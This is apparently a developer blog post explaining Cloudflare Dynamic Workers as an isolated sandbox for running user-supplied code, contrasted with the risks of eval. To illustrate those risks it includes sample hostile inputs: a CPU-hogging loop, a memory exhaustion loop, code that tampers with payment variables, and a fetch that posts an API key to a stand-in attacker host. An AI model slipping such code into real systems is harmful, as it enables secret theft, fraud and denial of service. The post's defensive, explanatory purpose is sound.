Working with Dynamic Workers Cloudflare launched Dynamic Workers, a new primitive for spinning up isolated Cloudflare Workers with a single call, enabling safe execution of arbitrary user code. The feature addresses limitations of eval by providing separate execution threads, memory isolation, and restricted access, and can be used to make web apps programmable by end users. Cloudflare recently launched Dynamic Workers https://blog.cloudflare.com/dynamic-workers/ as a new primitive that is a bit lighter weight than Workers for Platforms https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/ . Most of the marketing has, understandably, focused on Agents and code mode https://blog.cloudflare.com/code-mode/ , a way of letting an LLM agent safely run arbitrary code in tiny ephemeral sandboxes that has some strong benefits over more limited MCP tool calls: reductions in context, composability, etc. I’m a bit more interested in how they can enable web apps to become programmable by the end user. You can find my full thoughts here /blog/extensible-software-in-the-age-of-llms , but I thought a more code-level walkthrough of how you can build with them would be a useful companion piece. 1 user-content-fn-llm-footnote Overview overview Dynamic Workers allow you to spin up a new Cloudflare Worker with a single call. Call it once, or dozens of times. Create millions of them if you need. They are really cheap, spin up quickly, and provide a good security boundary so you can safely run arbitrary code. In the simplest case loading a new worker and executing it looks like this: js const worker = env.LOADER.load { compatibilityDate: "2026-06-28", mainModule: "src/index.js", modules: { "src/index.js": export default add a, b { return a + b; }; , }, } ; let response = worker.getEntrypoint .add 1, 2 ; Not your parents’ eval not-your-parents-eval Dynamic Workers sound a lot like eval but they avoid some important gotchas that you’ll run into face-first if you try to execute user-provided code. Shares the same thread of execution shares-the-same-thread-of-execution eval "while true {}" ; The eval ’d code can do basically anything, and you can’t pre-empt it from your own code. A single bad input can take down your whole server, or simply steal your CPU cycles to mine crypto. Shares memory with your code shares-memory-with-your-code js eval const hog = ; while true { hog.push new Array 1 000 000 .fill "x" ; } ; Again, your service is taken down by a single bad input. Access to outer state access-to-outer-state js function chargeUser userId { let amount = 10; let approved = false; eval amount = 0.01; approved = true; ; console.log Charging user ${userId}: $${amount}, approved=${approved} ; if approved processPayment userId, amount ; } eval gives access to everything in local scope. You can restrict this to the global object by running globalThis.eval code , but that’s still a lot of access. Access to network access-to-network eval fetch "https://attacker.example.com/exfil", { method: "POST", body: JSON.stringify { secret: apiKey } } ; If the eval ’d code does have access to any sensitive data, it can easily send it anywhere. Dynamic Workers dynamic-workers Cloudflare Workers already have to deal with all of this and much more at a massive, global scale, and Dynamic Workers get the benefit of all of those years of hardening. Setup setup Let’s imagine an app that can scrape web pages on behalf of a user, but the user gets to configure what they care about. We’d like to maximize the flexibility of what the user could feasibly do, but at the same time, we need to make sure that there are reasonable limits in place. We don’t want our service used as a DoS machine. With that in mind, we’re going to work with the following contract. The actual scraping is handled by the system, and then the user can provide a single transform function. It receives the contents scraped from a url, and can return a markdown string and / or an arbitrary JSON result. // user provides this function export default async function transform env: Env, input: Input : Promise